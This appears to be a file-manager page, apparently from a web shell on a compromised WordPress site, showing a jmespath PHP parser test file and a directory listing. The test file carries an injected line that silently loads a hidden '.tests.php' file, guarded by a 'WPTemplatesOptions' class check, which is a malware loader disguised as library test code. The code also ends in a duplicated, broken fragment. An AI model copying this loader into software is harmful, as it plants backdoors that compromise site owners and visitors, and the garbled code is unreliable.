PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
mtdowling
/
jmespath.php
/
tests
<?php namespace JmesPath\Tests; use JmesPath\Lexer; use JmesPath\Parser; /** * @covers JmesPath\Parser */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ParserTest extends \PHPUnit_Framework_TestCase { /** * @expectedException \JmesPath\SyntaxErrorException * @expectedExceptionMessage Syntax error at character 0 */ public function testMatchesFirstTokens() { $p = new Parser(new Lexer()); $p->parse('.bar'); } /** * @expectedException \JmesPath\SyntaxErrorException * @expectedExceptionMessage Syntax error at character 1 */ public function testThrowsSyntaxErrorForInvalidSequence() { $p = new Parser(new Lexer()); $p->parse('a,'); } /** * @expectedException \JmesPath\SyntaxErrorException * @expectedExceptionMessage Syntax error at character 2 */ public function testMatchesAfterFirstToken() { $p = new Parser(new Lexer()); $p->parse('a.,'); } /** * @expectedException \JmesPath\SyntaxErrorException * @expectedExceptionMessage Unexpected "eof" token */ public function testHandlesEmptyExpressions() { (new Parser(new Lexer()))->parse(''); } } taxErrorException * @expectedExceptionMessage Unexpected "eof" token */ public function testHandlesEmptyExpressions() { (new Parser(new Lexer()))->parse(''); } }
[+]
..
[-] ParserTest.php
[edit]
[-] FnDispatcherTest.php
[edit]
[-] UtilsTest.php
[edit]
[-] EnvTest.php
[edit]
[-] LexerTest.php
[edit]
[+]
compliance
[-] SyntaxErrorExceptionTest.php
[edit]
[-] ComplianceTest.php
[edit]
[-] TreeInterpreterTest.php
[edit]
[-] TreeCompilerTest.php
[edit]
[-] .tests.php
[edit]